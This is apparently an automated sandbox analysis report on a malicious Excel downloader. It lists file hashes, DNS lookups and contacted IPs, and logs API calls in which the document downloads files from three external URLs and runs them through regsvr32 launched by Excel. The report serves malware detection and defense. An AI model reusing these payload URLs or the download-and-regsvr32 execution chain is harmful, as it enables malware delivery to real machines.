popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

art-1517315850.xls

Downloader MSOffice File
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Oct. 13, 2021, 10:07 a.m. Oct. 13, 2021, 10:09 a.m.
Size 246.0KB
Type Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Create Time/Date: Fri Jun 5 18:19:34 2015, Last Saved Time/Date: Tue Oct 12 16:38:05 2021, Security: 0
MD5 6c179f264af283320b5b96459db76c81
SHA256 0b92c9bdacfe6ed8ae939333099b921dfbbbc20dac94925a1f4cbf5009250d1c
CRC32 B028124A
ssdeep 6144:nKpb8rGYrMPe3q7Q0XV5xtuEsi8/dgJ93WPcZZRRrq1RObTwvOkPDklgvS3+nQ75:893tDrmcbTwvzD63fLvfP1GO3
Yara
  • Microsoft_Office_File_Zero - Microsoft Office File
  • Microsoft_Office_File_Downloader_Zero - Microsoft Office File Downloader

Name Response Post-Analysis Lookup
boogieproductions.com.au
A 101.0.113.93
101.0.113.93
iu.ac.bd
A 103.28.121.60
103.28.121.60
recapitol.com
A 108.179.232.85
108.179.232.85
x1.i.lencr.org
CNAME crl.root-x1.letsencrypt.org.edgekey.net
CNAME e8652.dscx.akamaiedge.net
A 104.74.211.103
104.76.75.146
IP Address Status Action
101.0.113.93 Active Moloch
103.28.121.60 Active Moloch
104.74.211.103 Active Moloch
108.179.232.85 Active Moloch
164.124.101.2 Active Moloch

request GET http://x1.i.lencr.org/
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2492
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6bf98000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2492
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6b152000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2352
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6c471000
process_handle: 0xffffffff
1 0 0
cmdline regsvr32 C:\Datop\test.test
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
cmdline regsvr32 C:\Datop\test1.test
cmdline regsvr32 C:\Datop\test2.test
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2492
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x7ef70000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

URLDownloadToFileW

 url: https://boogieproductions.com.au/jJNW2LDF/filkfht.html
stack_pivoted: 0
filepath_r: C:\Datop\test.test
filepath: C:\Datop\test.test
2148270105 0

URLDownloadToFileW

 url: https://recapitol.com/pl92fIeHE11X/filht.html
stack_pivoted: 0
filepath_r: C:\Datop\test1.test
filepath: C:\Datop\test1.test
2148270085 0

URLDownloadToFileW

 url: https://iu.ac.bd/QpPq5lm6Xy/fikfh.html
stack_pivoted: 0
filepath_r: C:\Datop\test2.test
filepath: C:\Datop\test2.test
2148270085 0
parent_process excel.exe martian_process regsvr32 C:\Datop\test.test
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
parent_process excel.exe martian_process regsvr32 C:\Datop\test1.test
parent_process excel.exe martian_process regsvr32 C:\Datop\test2.test
file C:\Windows\System32\regsvr32.exe